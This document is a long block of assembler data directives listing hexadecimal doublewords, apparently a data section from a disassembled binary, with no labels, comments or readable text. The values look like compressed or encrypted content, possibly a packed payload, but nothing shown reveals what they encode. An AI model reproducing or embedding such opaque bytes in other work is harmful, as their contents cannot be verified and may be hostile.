		dd 5300B92Dh, 505E38A7h, 705A7D14h, 74CE5C2Bh, 76FC3A07h
		dd 0D0F23025h, 0E972BD90h, 0D20090B8h, 0C1A9D47Dh, 0FE0967h
		dd 0D55D5EB6h, 0E77A3720h, 0EDC9EF00h, 76797F23h, 0BC5F3CABh
		dd 7D50007Bh, 0C91FAF82h, 0B158A318h, 85E91516h, 48129E4h
		dd 0E857DD63h, 7536995h, 3306E0B1h, 0C0E4C73Dh,	5CF37D93h
		dd 0FAB83C04h, 4FC0A6CEh, 3A2CC437h, 7C801AD3h,	943A1C0Bh
		dd 0A9002BDCh, 0B0848690h, 91B5BB2Ch, 8E680728h, 7F91A0EDh
		dd 873BCF92h, 0E6074F0h, 0ECE65E21h, 34261EAEh,	14B1DF10h
		dd 8B8020C4h, 0A7912DEDh, 2BFB208Ch, 0ECE35D01h, 0FF964E64h
		dd 7A8802C0h, 1C6128ADh, 850801ECh, 0CCD54927h,	0A01EE18Fh
		dd 0DF1CCEF8h, 78D20E14h, 0ABA99440h, 0F02F7F1Bh, 0B0F507F1h
		dd 0F01ECB36h, 0AFC0613Dh, 0F7C3430Ch, 0AAC302Eh, 0E079D123h
		dd 33BA7320h, 3013B730h, 56206883h, 8D2ADF0Dh, 0C403C8D0h
		dd 0F7E66FC1h
		dd 4D72D0A2h, 0BF08CC4Ah, 39006721h, 656E3A6Fh,	0E8B069Ch
		dd 4D90F464h, 91A407D0h, 9A6926Bh, 76200611h, 7065C7ACh
		dd 0B56F7A00h, 36096D03h, 0DB751Ah, 0B0CA2DBCh,	593462D0h
		dd 0A39A1410h, 512612h,	7D5E1AD0h, 41F8921h, 19AC035Bh
		dd 9D0C93Bh, 16632BDh, 306386DFh, 0CC00C822h, 99A809E1h
		dd 1C0E6A0Ah, 8C6FB2B1h, 6F32120h, 0F93EB4B8h, 3F007190h
		dd 0BDE5E67h, 1638F50h,	0FFAAEFE2h, 0C52BB7CDh,	486ED11Bh
		dd 3F8CDC9Ch, 0F2916FC0h, 0E29E4Ah, 36F3864h, 8420EDF7h
		dd 9D1EC901h, 369B42ABh, 80E55191h, 0F7E46FA3h,	0A1448C92h
		dd 6F3B0089h, 8CA0D333h, 56009874h, 15859995h, 8CED45Ch
		dd 0A42D143Ah, 0C902A11Fh, 607AA789h, 0CC8AF268h, 0BFF9A008h
		dd 0C97D3Eh, 7B69EAA5h,	0C9A06A6h, 116B43B7h, 0DB1275F0h
		dd 5C06BA48h, 46B0727Ah, 6FBF02F1h, 47B2F2B8h, 378D031Ch
		dd 0F780D56Fh, 0EB12F021h, 34039363h, 0CA12D9Dh, 74F41B58h
		dd 0F5185531h, 9118CDA0h, 9B75130Eh, 0F69C09A2h, 0E4E0B82Eh
		dd 1A62431Fh, 3DE25F00h, 56A3E560h, 99F0094h, 7072B1B5h
		dd 0F3044A3Fh, 0BE2C92CEh, 88DE898h, 0B79183EDh, 4B21D8CFh
		dd 48EC1DE5h, 0BBCC80B9h, 0C022695h, 31BD651Eh,	246430DCh
		dd 82C388Ch, 0A27C3009h, 0D0B1F3C0h, 0AA4A1C00h, 2AC9FC1Dh
		dd 0A30300AEh, 60A18A35h, 0DC0036E0h, 32F5E8BBh, 6F72CF6h
		dd 9185C4D0h, 0A80A88EFh, 88CEA91Bh, 0AF404F8Fh, 0B1850215h
		dd 0CFECA028h, 19A8E054h, 398F674Ah, 53588739h,	788059F2h
		dd 11D6EBEh, 0C3E4C035h, 80342F85h, 152357B9h, 2461DF51h
		dd 5A0C152h, 0C064D42Ah, 0A81AB7E3h, 0BB8169C1h, 398C1C9Ch
		dd 49E97414h, 0F0D4DE00h, 6005CE70h, 0C083008Bh, 7D76AB99h
		dd 4F1F2B35h, 0E4E8C4D5h, 185EB73Ah, 8F483244h,	0F6BA01B4h
		dd 0EA8361Ch, 5E38917Fh, 78C87705h, 5864D073h, 160A90EFh
		dd 0D00A3E91h, 34B7BE80h, 62E99DB4h, 0D3EF60B0h, 7DE27C45h
		dd 0A75218A2h, 0CCE93B3Ah, 0EC4344h, 0E235F58Eh, 26101595h
		dd 8120B737h, 12CCF48Ch, 0A5298022h, 0BCCE4188h, 5E40595h
		dd 8026A747h, 52ED01D3h, 2F0F1A01h, 98D12BF3h, 0BD38B882h
		dd 1844F956h, 90CBB000h, 0D5ECDE7Dh, 15BE07E8h,	0D0E567A4h
		dd 2F2C9729h, 4C89ED3Eh, 1DAC8530h, 60EB844Eh, 0B6E7E527h
		dd 0C07F2655h, 0CA217484h, 650B8086h, 5AA8C11Bh, 0EECD220Ah
		dd 50B2DC68h, 0B4C4307Eh, 69C2F4A0h, 8C2628A9h,	50BBF221h
		dd 540503B3h, 4F96FA88h, 194AB5B0h, 0CE07F8A0h,	7D43956h
		dd 0A6E6C962h, 407EC448h, 0CAC97968h, 0F24C901Dh, 64A34096h
		dd 0AD5E6300h, 27C0AAEEh, 0F5E9005Fh, 38A18DC9h, 0C2C959Bh
		dd 38A8C00Eh, 8BDC302h,	513D7C36h, 0B00A0034h, 16357E3Ch
		dd 609D4B3Eh, 906C9130h, 0F854B277h, 185760D1h,	0B34F4385h
		dd 0DF853C91h, 0E87E690h, 0C0FBD322h, 0B22CCCh,	89E451B4h
		dd 0C6F7CD30h, 35C9E009h, 11F49706h, 0B46A80BFh, 16334F8h
		dd 1560A284h, 0BB33E5E3h, 0E7450C90h, 2C01A876h, 512C3CB3h
		dd 89618E6h, 9AF7E16Fh,	8A40BAC4h, 0F91E6F4Eh, 95542272h
		dd 930096B4h, 495AA72Eh, 71E88Bh, 0CD5E0F0Dh, 819AD3D4h
		dd 10B8FD5Ch, 8AC0B6CFh, 0DF8F80EDh, 0B0B0914Ch, 0ECE24Ah
		dd 0BD49266Ch, 82EBC03Eh, 806CD648h, 7B4E220h, 0ABD80B7Dh
		dd 44036747h, 0D7B73C84h, 90377494h, 0EB147338h, 58504500h
		dd 791FB60Ch, 3CA95D30h, 0A2929784h, 2BFBE108h,	1F06010Ch
		dd 69134399h, 40AC4C48h, 776FD981h, 40BC71FAh, 0E5DCC545h
		dd 1409DE0Ah, 2A809C8Fh, 2163A42Fh, 9F6D015Ah, 805270EEh
		dd 0F803C555h, 0A209989Dh, 11F1DEE7h, 0E51010ECh, 55005027h
		dd 535DFFC6h, 98C22DB2h, 0C41013ECh, 1A28092Bh,	0D5899422h
		dd 57748100h, 36330EC5h, 2DE0A979h, 0B1241BBEh,	9D7EC705h
		dd 64CA711Dh, 0A201E223h, 3AF2C56Fh, 8E89A318h,	40A6FF0h
		dd 157E5C87h, 7AEC98FCh, 5E0078B9h, 0D6EEC173h,	8CEA00F5h
		dd 649721A0h, 5F7CB5C8h, 0C7B6B012h, 3C1C0Bh, 359DF60Ch
		dd 0B9A890B3h, 20E20000h, 0DBE3FA30h, 2A3C47E8h, 0A7880201h
		dd 411F1D43h, 0F458B580h, 60911233h, 80E4D48Eh,	7E190EE1h
		dd 0E9B7A802h, 481E312Eh, 28C7A71Ch, 1C95279Ah,	81F1FA9Fh
		dd 0F82C1FFBh, 0F866EA2Fh, 80D78E27h, 91276494h, 0F6D80008h
		dd 96E20FA1h, 0EB0318A7h, 0B1D05DEh, 0A515C858h, 8DDF18C0h
		dd 0E6148973h, 5B78A402h, 0C8E189BFh, 0E0F01708h, 55282A82h
		dd 3A9406B4h, 71BEA71Bh, 873B524h, 0B7AC4C82h, 0B9CC60D9h
		dd 847516A7h, 0D4241417h, 74090FC0h, 9600EA9Fh,	4F8091C2h
		dd 7C2F6053h, 30015CE8h, 908C024h, 1C990804h, 0A900D37Ah
		dd 21BFEFAEh, 2696DC31h, 52DCB189h, 79C4B065h, 0D4ABDE61h
		dd 0E5B8286Ah, 15129398h, 548207A0h, 0C9803037h, 32A79811h
		dd 0B251778Ch, 1901C9FCh, 0B59236EFh, 9DC88A57h, 0C871629Fh
		dd 80580D7Ch, 61C5F20h,	97B4DCA5h, 31EB205Eh, 0B25C72C0h
		dd 336230A8h, 8ECE3C3Fh, 24C56591h, 14D3FAB0h, 0D6F7C885h
		dd 0DFA5006Eh, 4D98AF18h, 0F01E0AFFh, 0C4023E5h, 21AE1D94h
		dd 5BDE2CBDh, 1B5D60FCh, 2800D752h, 2BE0353Dh, 0ED5832h
		dd 0AADEC10Ch, 80BC4457h, 0AF707202h, 5191B068h, 2BFB7864h
		dd 249E2486h, 841752FCh, 4780A311h, 0A797CDB6h,	34214B12h
		dd 0B4F3C004h, 0E80B1099h, 30A3A084h, 49F3F5h, 38608930h
		dd 53158BFBh, 0C8C85C2Eh, 48B7850Bh, 0EB9EC20h,	87292EC7h
		dd 0E4202169h, 0D2FF9E65h, 9794300h, 5FDA3915h,	0BEFFEC3h
		dd 0E0E3015Dh, 86E51C8Fh, 0F064D97Ah, 9910B509h, 0C9C46AE2h
		dd 0B7F60086h, 0D567B4h, 32D743BBh, 0D09C531Ah,	280398D6h
		dd 2309C903h, 81004EF9h, 1AA78DCBh, 4C30426Ah, 6BF865DFh
		dd 0DB58C00h, 14B6C360h, 0CC59AF13h, 209E0A17h,	0DBA6F32Ch
		dd 70BB5531h, 0B9841930h, 804D8C8Bh, 5E3A448Bh,	0B17AFEh
		dd 73072100h, 5EB9523h,	8FBEA12Ah, 0B71C012Bh, 0F0016F35h
		dd 0A82AF814h, 8C98C4AAh, 9929FA60h, 31610D3h, 0F15B6028h
		dd 3BC3F3DFh, 0A8EAF8C8h, 1D00BCF4h, 0FF8BB42Dh, 3FA9FC5Ah
		dd 79A51753h, 0CA081417h, 0AF304086h, 0B0F01FA1h, 9D89CB00h
		dd 0D72A251Ch, 50C900ECh, 40CE5235h, 1300C0BAh,	178C8932h
		dd 2F092h, 4D71442Bh, 9B1A426Ah, 736FCA00h, 0DC05824h
		dd 3738C70Ch, 202EC1EBh, 46FFE434h, 5C0FEC07h, 0FD90231Dh
		dd 0BCC572h, 3FAB2014h,	6ED1601Ch, 8D9CD903h, 0C1B315Ch
		dd 0F8F42368h, 0E309A748h, 80214615h, 0C10E19F6h, 0F870CCBh
		dd 0F868C578h, 0A1C0450Ch, 0BF805Bh, 0BC73672Ch, 1C2393FAh
		dd 870049DCh, 7675890Eh, 9F3F196Fh, 8021083Eh, 0E2FDB21h
		dd 0B0C1EBh, 5E345AFEh,	0FA9B31CFh, 0B56D1C0h, 60049DDFh
		dd 0CB7610C1h, 0FF6937F5h, 82448021h, 0C3673E3h, 8F7B1DDFh
		dd 21C0F208h, 5B829E39h, 856F05EDh, 7A4199h, 946A5A4h
		dd 0CE0FA4B7h, 66E8186Dh, 30982233h, 80A1F326h,	72002F79h
		dd 4973B69Fh, 3F6E0F51h, 0DA00CE53h, 2AA0C7CFh,	0EC00EAACh
		dd 3B03BE58h, 20CB2B39h, 0F800CE10h, 955B886Ah,	0EFAB758h
		dd 0FDFF400Ch, 8321D38Ch, 0A230F000h, 0EFEE807h, 0E9B00046h
		dd 1940CDFDh, 0E31917D2h, 0D058021Ah, 38CDF318h, 2C125058h
		dd 9B8A20D4h, 8301CA5Bh
		dd 26B09DA5h, 2C2388E7h, 60CF5064h, 29A130F4h, 8549758h
		dd 7F002B69h, 13025B9Ch, 0DA0078Eh, 76CF19E9h, 70041DDh
		dd 8CBDECF4h, 3C9FDAEh,	716EA4CCh, 0F5B08191h, 5E71C21Ah
		dd 0C0CA78C8h, 58945B8Dh, 80908F53h, 0BA30F584h, 492F0E18h
		dd 0D495A355h, 62D17000h, 0FB8ECE3Ah, 57266100h, 12C53D04h
		dd 0CDEEDDh, 0DE6225E2h, 0C42CF45Eh, 0DF0D9904h, 24821A45h
		dd 822830EFh, 0A673E511h, 3B80FC88h, 0C85E8290h, 995A0CEFh
		dd 0A648D0E5h, 96575C0Eh, 10482946h, 62A6FC8h, 8178FC8Eh
		dd 710E28DAh, 80D068D5h, 65D203F9h, 0E08EF94Bh,	3EE0BFCAh
		dd 8AF4DC7Bh, 72004679h, 4CAC2523h, 0EE5AE37Ch,	4079A2h
		dd 737E0BEBh, 0DF3FDD75h, 0B8240C90h, 1F80A8DCh, 0F6F069Ah
		dd 7F300D3h, 0BB9D2634h, 687F088Dh, 0D575AF02h,	471AC747h
		dd 2ED46200h, 7C32318h,	51773A0h, 0F04526C1h, 9EA8B150h
		dd 93023643h, 8E73C682h, 80CB6330h, 82009B38h, 4DFCA9B1h
		dd 45AEA3h, 4AC6B714h, 912A10E7h, 0FE6CA51Ch, 2CF4DF0Fh
		dd 0FC89C2h, 0DAE5B9E4h, 0A2CA111h, 9A8E4A07h, 4E30F329h
		dd 1B8D06Fh, 1E999118h,	5042A32Bh, 0B9CCCEB4h, 0B2C4270Eh
		dd 0DABFE6ECh, 28364908h, 0B9D4FF00h, 0F748E142h, 6A2EF604h
		dd 18C062B1h, 39C45371h, 5B85F9F4h, 0E3DA699h, 0CE6FBECh
		dd 411D18EEh, 39CC374Fh, 18571017h, 28CF4999h, 0DC010DA2h
		dd 6D2538B2h, 2BECD265h, 9AFD2696h, 0EA0C098h, 3E4672F4h
		dd 0E0002422h, 0AFB50E28h, 841232h, 0D6832B4Ah,	0DEE7A7D2h
		dd 600FECA3h, 0C146214Eh, 0D91FE597h, 3A1818A6h, 22CDE890h
		dd 0DC9E00F2h, 4B550C9Fh, 11148B89h, 26982C47h,	465E6438h
		dd 0EF4F03D4h, 0FB0F23h, 33D99560h, 0DD5E5242h,	6CF76700h
		dd 0D7F7D8Ah, 743C06A8h, 0A0DB5BE5h, 99582905h,	9801E2A4h
		dd 0FF305373h, 2C04A445h, 1B00CB56h, 0CAB4615Dh, 9951B200h
		dd 0EE1F340Bh, 460A12A2h, 3F600074h, 434165FCh,	9731ECA8h
		dd 7120A0A9h, 0F18AD0ABh, 6568D562h, 0CA70685Dh, 0D3817E5Bh
		dd 10343A81h, 0C8C3CB47h, 90EFE7D3h, 0AC46655Dh, 0DE1BB875h
		dd 0DA49F199h, 0A848444Fh, 0A4249BA4h, 19F40098h, 0CB893FDh
		dd 7204357Dh, 0A158FA46h, 8C3B7CC0h, 0F3CB2990h, 822C014Ch
		dd 194671C1h, 943F20DEh, 95049182h, 7766E030h, 99DE080h
		dd 8FF03AA2h, 2FDF397h,	93DE25A2h, 91282C83h, 0E886F4C1h
		dd 6518CE8Ch, 0E9B93F40h, 29082E68h, 8FFA0992h,	0EA36030h
		dd 9672F511h, 0DF802388h, 0A9560E2Bh, 5431009Dh, 83CBD8EBh
		dd 5314F5E9h, 9F8D590h,	30281EA4h, 7DB9C9DCh, 10DA4692h
		dd 0EE0021C7h, 0E791B9D1h, 1B096789h, 0E196BD9h, 0FC6878h
		dd 2993099Fh, 5C9B5DF5h, 0AEA2D50Fh, 803BDD8Ah,	23315A3Dh
		dd 7181609Eh, 794D0051h, 0BAF1E2CFh, 0B81436DBh, 817894FAh
		dd 758E0E8Ah, 102631CAh, 20E32DAh, 443BAE22h, 3FC01419h
		dd 4E2CE550h, 46DEF0CEh, 0D58400D3h, 2B28783Eh,	0B5750C8Bh
		dd 0D850CB37h, 36B95317h, 1346D020h, 43E502BEh,	0C50CAB67h
		dd 5FC1A540h, 0D0987098h, 0EF2CB890h, 0C90D9421h, 8C001876h
		dd 9B89820Ch, 59896F8h,	2F3F578h, 0EFD59DB0h, 70203469h
		dd 0B8002138h, 6F54B9D7h, 2AEBA603h, 1CD8DA4Eh,	0D6908Eh
		dd 7065D49Ch, 9B00C7E9h, 0DAFDCF40h, 91D8C96Fh,	1860D1C0h
		dd 0ABC00279h, 0DB1162D4h, 955894A0h, 0A4000E8Fh, 0D682BD6Ah
		dd 76B6486h, 683D1159h,	48A52245h, 0DA15C894h, 18E4F2BFh
		dd 9489F337h, 0F0520E18h, 92AB2393h, 0E017A8BAh, 6E94DF11h
		dd 78906F03h, 71A803A9h, 0EF483443h, 12104884h,	586304AFh
		dd 41E613h, 0CC751AB4h,	4CAA38Ah, 80F7E607h, 601E3FFCh
		dd 92583E34h, 7BBD5C78h, 0BFC21B00h, 9487B837h,	0F3FBB404h
		dd 0B888F684h, 0BE1F8C3Dh, 0D96E29BFh, 0B825CF12h, 0C6F990D0h
		dd 70CD2EB9h, 0E2BB0828h, 82C05C00h, 0B040C58Fh, 710C916Ch
		dd 1501807h, 0BA4ADC82h, 601AFB6Bh, 488C32E0h, 0C41465C3h
		dd 30884CAAh, 0F058B8h,	2C836ED3h, 0CEEC308h, 0D05C4373h
		dd 0C03C7CE8h, 0D8D42CCCh, 0E812E985h, 2400EC5Eh, 0D15DF187h
		dd 36911EF6h, 4E1C80CBh, 0A140BDADh, 0C4A35101h, 907765A7h
		dd 5C791FD0h, 9F04389Dh, 6F974B15h, 12A88000h, 615A1760h
		dd 537C7120h, 5D04D0F5h, 205BEB2Ch, 0AC176731h,	0F03730B8h
		dd 0FFAA80C9h, 702F3800h, 824357F5h, 0A82D555Ah, 34F1AC22h
		dd 3F0C22h, 0D881AE99h,	0D0115E9Ah, 0CE004092h,	120C758Fh
		dd 7E71BA86h, 8491011Dh, 0E099CF81h, 0FD2430E9h, 0E8426A41h
		dd 822D30F0h, 3E71B812h, 4200B88Bh, 0FF438295h,	0CB2B45Bh
		dd 0E022804Bh, 78B45939h, 2862B68h, 0A0C945E5h,	0CCC0A1F5h
		dd 0C182CB0Ch, 0B8508838h, 3DBF39A6h, 0AACAED5h, 40FC1E7Ch
		dd 0AA029007h, 3A7A355Fh, 0DC25CA4Eh, 3E3781Fh,	72EA0E86h
		dd 3EE4CEB5h, 9A0E03DEh, 0E09BD409h, 798990F0h,	1B180EEFh
		dd 2522A3ACh, 0D86C4B5Ah, 0BC30A448h, 9B178C33h, 0F8203CFAh
		dd 0F02BD1Dh, 0A641798Ch, 0C24F569h, 0BFB8602Fh, 92C4082Bh
		dd 0CB42CF61h, 0E1030021h, 4F38D5B9h, 7E20B9Fh,	15E50049h
		dd 25CFA7ECh, 38022540h, 909F47E5h, 7A800D11h, 9CF9C8FFh
		dd 0A61881E6h, 57211724h, 0FA7C0792h, 0D0AB2D64h, 668F8C91h
		dd 0DA03C498h, 0C76A3481h, 68B100DBh, 10B0EA2Ch, 2D0E9ECDh
		dd 634D8AC3h, 0E9596ADCh, 7870CE9Bh, 61F66024h,	90D33F88h
		dd 0BAB61100h, 6FEBAB2Fh, 0A0B907F2h, 3B8FF493h, 0FD88C497h
		dd 0F07F60CAh, 1E09D7ADh, 80CDE772h, 2279409Ch,	0C9533DE9h
		dd 0DC909CF5h, 0C5E69C0Eh, 5845C1D7h, 0CC60ECFDh, 0AB8D7273h
		dd 0F950D98Ch, 0DC091981h, 32159B11h, 5262001Ch, 0B723BA2Dh
		dd 7BC5034Dh, 0EC1AC4B1h, 284B32C2h, 0E54225A0h, 1C926B48h
		dd 0EEC06F6Eh, 794335F5h, 0A4F9007Ch, 9D545E04h, 709D55B6h
		dd 0ACDA2420h, 99C0407Ch, 0CCA8DDB8h, 0AB005C6Bh, 0C99C4776h
		dd 338E1F2h, 2BEFD369h,	8B955E99h, 0C036C84Ch, 0E5472537h
		dd 8A1341F0h, 1800789Dh, 0F7A409AAh, 114C9027h,	23CDE979h
		dd 0EA10B9Dh, 8E86A484h, 29E507DCh, 0D341060Eh,	8E44A88h
		dd 2E57E054h, 481C488Dh, 2F3897CCh, 2B6C1008h, 0E10915C0h
		dd 0E200F05Fh, 36BC629Eh, 2CCC915Ah, 50C45D8h, 950D6053h
		dd 10DC2FDCh, 4DC02236h, 0D6F5B25Dh, 82152425h,	80B0973Ch
		dd 0E869B6CBh, 0BEA839E3h, 0D05E4D80h, 5CC73B5Fh, 0D1B07012h
		dd 8D97E843h, 0A7F0AE2Ch, 60D24458h, 1872DB76h,	19C3131Ah
		dd 3020237h, 5AE91922h,	1AC0E10Ch, 0EEB4BA10h, 8D72D40Bh
		dd 5C58608Ch, 0C1FB1848h, 0C03F90C4h, 8D615B0Ah, 0D70294CBh
		dd 606D28F3h, 0C0EB679Ch, 0A5DE3549h, 30B669D2h, 900AF181h
		dd 0A094BE1Bh, 0D732F89Dh, 9521CBD0h, 5C3D5BACh, 110E405Ch
		dd 0D808E72h, 0E093F3A1h, 41D15C06h, 1618D73Fh,	3AAAF51Dh
		dd 13623B8h, 57B37583h,	80C86C7Bh, 9A062440h, 0EBAD0004h
		dd 57FF98BAh, 0B8009D9Bh, 8A8708AFh, 4FBD8E29h,	10C42E90h
		dd 0E3C0CAFCh, 0F89D0B73h, 0AE012C90h, 685C3759h, 0B0476DE6h
		dd 6A14E5F7h, 0D0F324C0h, 9EC7252h, 63BD70D2h, 2051B007h
		dd 6FF8156Ch, 0B21F467Eh, 330F864Dh, 0DC926234h, 5C44681Fh
		dd 0A7563058h, 4E25FD58h, 91A2400h, 0EB655AEFh,	982C5457h
		dd 3C162A2Ah, 5E309EBCh
		dd 1D6CEF52h, 0DE895581h, 6520E897h, 89BCB45Dh,	410A531h
		dd 0B0B638B9h, 69872ED6h, 49F91824h, 5A16D70Fh,	30CB905Eh
		dd 30CB6084h, 5D2EDF1h,	4B9D9404h, 59AC8280h, 0BE138890h
		dd 0D50C7F0Fh, 2EC40011h, 134DF1ABh, 7EB0168h, 709C2068h
		dd 0A71CB9Bh, 0FE855412h, 508DF044h, 7B48D4A4h,	40C30026h
		dd 0F395BC19h, 6B30B570h, 92CB20DCh, 9E281407h,	0A5E12053h
		dd 58BD18C5h, 21B8F0FAh, 1CB3F68Ch, 0B0250C7Ch,	621EB519h
		dd 0CFB62407h, 3730A1C1h, 2457633h, 0BCE50F73h,	0B0816B81h
		dd 243544EBh, 364F8E9Ch, 46ECB040h, 6866ACh, 6ED86B30h
		dd 249DA529h, 0C52F3B00h, 0D46C463Ah, 71401E98h, 0F12B016Bh
		dd 0F92D9943h, 2089921Bh, 0B080589Bh, 0F9DC43D7h, 6C403781h
		dd 9BD04Ch, 0DA229651h,	17C23892h, 0A300E990h, 0E8E9A136h
		dd 0BE9B21h, 85B38EC0h,	0F7260A50h, 8C092C73h, 846EFE75h
		dd 0E2602928h, 0C47495B9h, 558E094h, 0B6B900CBh, 99F5B182h
		dd 2815800Ah, 0C4DEB8h,	0B33C0ECFh, 24C44312h, 3E9A406Dh
		dd 7BD79706h, 0AA04702Ah, 3EA4E5E7h, 0C21EF4C7h, 60584843h
		dd 5980DDACh, 791DB041h, 0A2D0800Bh, 73CED70Ah,	85BB9ECFh
		dd 0A84193ADh, 6CE1695Dh, 604C082Dh, 0C7032E23h, 0B5C428B9h
		dd 0CFE86829h, 0C761CB9h, 0ACA540BAh, 8453FB61h, 72B8F251h
		dd 21CBF190h, 141E4C0Ch, 0E7813A57h, 0EF974FC0h, 92DCD6E4h
		dd 0C42A06F4h, 0B86F5491h, 110BF918h, 3ED59F71h, 25245BC7h
		dd 7DD78F8Ch, 0EC65408Bh, 0AE6023E4h, 9403B0DFh, 0FC5F02Ch
		dd 60788A93h, 484642F9h, 293A2435h, 0C09D6893h,	43FBC258h
		dd 8F8302Eh, 0FB440EF6h, 0C8D6DFA7h, 93382844h,	6A0C1E01h
		dd 0B89DE00h, 5D1B31Dh,	154C9550h, 33C8E17Bh, 0AC2B0194h
		dd 460CD331h, 46E8F82Ch, 0F900CB43h, 24D566AAh,	0F0A19DE8h
		dd 0A8306481h, 8E0C14Dh, 121DC645h, 0C0109AA4h,	2134B769h
		dd 30BF00CBh, 0B275ACE8h, 782AEB71h, 0E496A40Bh, 57E504D6h
		dd 0C06C5991h, 6AEC0338h, 0E1643630h, 0CADF41h,	0A590834Ah
		dd 314735E4h, 0C450F04h, 493F124h, 482F983Fh, 0C8950019h
		dd 0AE79BFA1h, 64BC1F2Bh, 0B5890A5h, 0DDF2408Dh, 43EB6206h
		dd 0A0281EAEh, 806F19B4h, 3A240C79h, 2E02D859h,	50747F09h
		dd 0E4940638h, 28655578h, 0A4B88A1Bh, 34CBA441h, 62C132C8h
		dd 0A0F288E4h, 0E84373D8h, 79A0C10Ah, 200BF099h, 0B099FB0Ch
		dd 2A80E991h, 5671BF82h, 924D0587h, 0CE81FF82h,	0B0340C54h
		dd 9751C10Fh, 61E51FDDh, 1CC1C450h, 0C1C030BAh,	0FBD5732Eh
		dd 9E1B7F32h, 77465E1Ch, 3CD33B05h, 0F9FB8312h,	504655E8h
		dd 8080714Bh, 0B2C3B59Dh, 0BE2EEA0h, 2EC9F51Eh,	26118C1Dh
		dd 7D9C3B80h, 0B80A43E6h, 0B444B7C1h, 54144A80h, 0F4DC1AC3h
		dd 0F347097Dh, 884083A7h, 630A5725h, 0F4400E1Ch, 38253D11h
		dd 7708D017h, 0B347602Bh, 8807F216h, 3139D721h,	6D8A2E31h
		dd 49A0012Bh, 42D28CF4h, 0A0705EC4h, 7A0F8B13h,	39A20821h
		dd 0A665B980h, 3B0B86F5h, 5C17087Eh, 0CC05A06Dh, 0D4B410F4h
		dd 1C8F81Eh, 0E4B3AC1h,	0E005D103h, 55004358h, 0F19B52FAh
		dd 4E294A14h, 5BC403F3h, 0D9500815h, 0D5409C38h, 981E007Eh
		dd 0E14EAC25h, 9C93DE93h, 0ED4F305h, 109FA0C0h,	4608908Ah
		dd 0ECB87AD5h, 16975872h, 30BBA084h, 0A4A500D2h, 0D7A25123h
		dd 8349DD72h, 0BCAF0030h, 0FC15CC9Dh, 0DAA10B91h, 0DCE54650h
		dd 1BCAEFE2h, 49D9EB88h, 5792C07h, 61274524h, 1890F084h
		dd 0C28FE597h, 0BC824679h, 0B7150F9h, 1271AB18h, 0AA80D854h
		dd 0D4178700h, 0D433941h, 58A5003Ch, 5D8D8A4Eh,	0D0BECF12h
		dd 0CD465Eh, 0B7DDFE9Eh, 42E3E3Fh, 0B5487816h, 3BA02E8h
		dd 79F8D9A1h, 0B0C81933h, 5E2007D3h, 5098C78Bh,	4DEBBFF4h
		dd 79EC2995h, 4E4BA28h,	56088836h, 75C0C400h, 73A53495h
		dd 0B22A2808h, 19146A4h, 758F0E95h, 0F0B6E66h, 410E3DB1h
		dd 38EBF136h, 0BF14002Eh, 68584337h, 0F3F5EA04h, 8A42F694h
		dd 946069C1h, 54A26765h, 53F35C80h, 28DEFD70h, 402CAFC3h
		dd 4217DA75h, 5EB05E2Ch, 4C040C46h, 0F08FA7EBh,	8C069750h
		dd 4194780Fh, 68450978h, 64806371h, 1012DD09h, 0A4C0272Fh
		dd 98DB3834h, 6057B480h, 12041B5Dh, 0A2719F35h,	7E264C8h
		dd 3FA6D7B5h, 81E911CFh, 0C42DD4BEh, 60ED6125h,	272A9BCCh
		dd 68175B5Ah, 6ECB6188h, 0FF09C7C0h, 630E8B2Ch,	0F56FF5A3h
		dd 24127080h, 0C82F761Bh, 9C05F223h, 0F080F413h, 48E21714h
		dd 232E5CBBh, 762E8048h, 0A0B8E9Ah, 5F0063Eh, 57DA49ABh
		dd 0BE3774F4h, 6CFC8038h, 25483DB2h, 0CD00BCFCh, 499404Bh
		dd 12EE9A36h, 128E43F3h, 0F2D4E26Ch, 0BFAA30D2h, 0A2502401h
		dd 4969686Eh, 0B94C104h, 736600CBh, 979FE40Fh, 3415F812h
		dd 652B7708h, 52F6804Ch, 0FE021CA6h, 3B45FC03h,	9C985486h
		dd 9B2C1779h, 24738000h, 9B6F5B9h, 0EAFB52E1h, 13446502h
		dd 72A088E8h, 2CB82124h, 0F5519240h, 738803B9h,	2C33F010h
		dd 9E31CEB8h, 9DCAA627h, 0CB548824h, 3BB58C60h,	55561F06h
		dd 2C640140h, 68B09F0Dh, 80E5C1C8h, 43AE791h, 0A8990BF8h
		dd 0DC8D2434h, 0BE7926DEh, 3C260000h, 6553D898h, 4898F84Ch
		dd 9A0E122Dh, 3288A0CBh, 57ACC9C0h, 0EEBE0477h,	0BC7F270Ch
		dd 0C0D90894h, 0AA00B9D5h, 51F363A5h, 0E06B242Dh, 0E4984519h
		dd 0B940630Bh, 585A0A71h, 4002B6CBh, 8601D3Fh, 61E812D7h
		dd 0A0602926h, 0F443CD02h, 0EFB480EAh, 92A518Ah, 0C56180FAh
		dd 0A09F078h, 9DBA7416h, 2ED20864h, 3E7C5A6Ch, 95A67953h
		dd 181E8BE0h, 43712C21h, 586500CBh, 5DD9CF41h, 92469A27h
		dd 0EC7E5181h, 8D02D700h, 9748821Fh, 60F4F813h,	10A030E9h
		dd 0C8FBEF58h, 0F18080D5h, 0B3C3CF30h, 47D21F14h, 8CD3EC24h
		dd 0A2B07400h, 0AC24AB70h, 5E7B1660h, 8E4C342Eh, 0CB478490h
		dd 0B8096337h, 3DC4388h, 0D6A5002h, 689D6BC6h, 0C59040h
		dd 0EEEBF532h, 0BF66DE2Ah, 0D443A25Fh, 80C586FDh, 0F1CD82h
		dd 0A9CE0A07h, 98A19B28h, 5020124Eh, 0B33B32h, 0CECF975Ah
		dd 3CB2B818h, 79C5531Eh, 9BE59400h, 36C485Ch, 3740C4CDh
		dd 0A827B2D2h, 114C1791h, 442D8063h, 58C8FB1Ah,	6D2F98A8h
		dd 0B99D2080h, 0D95A6BC5h, 0FE3DC006h, 57F80559h, 0F5EA5548h
		dd 0A8903D34h, 5BD11227h, 6578045Fh, 30CE1387h,	0E4381500h
		dd 0D55F8E22h, 801FF53Ch, 0C5C81777h, 0F49F59ECh, 125B48A7h
		dd 455A2500h, 0C7E96FEBh, 7C95282Eh, 5B2A0A04h,	23F220A2h
		dd 107E330h, 2FA04513h,	0EC9D633Dh, 94305BF1h, 6731A81Dh
		dd 85394F01h, 88AC8B78h, 0D48EC026h, 0DC04DEFBh, 0BFDA9DF6h
		dd 0D51F80A2h, 438464EBh, 5E710562h, 0E040134Fh, 644AC156h
		dd 999100B8h, 117EF6CBh, 58784F97h, 46020A13h, 63A2F8B3h
		dd 55F4930h, 330CC2C9h,	2F2CE4B8h, 810E0700h, 0B7F73F2h
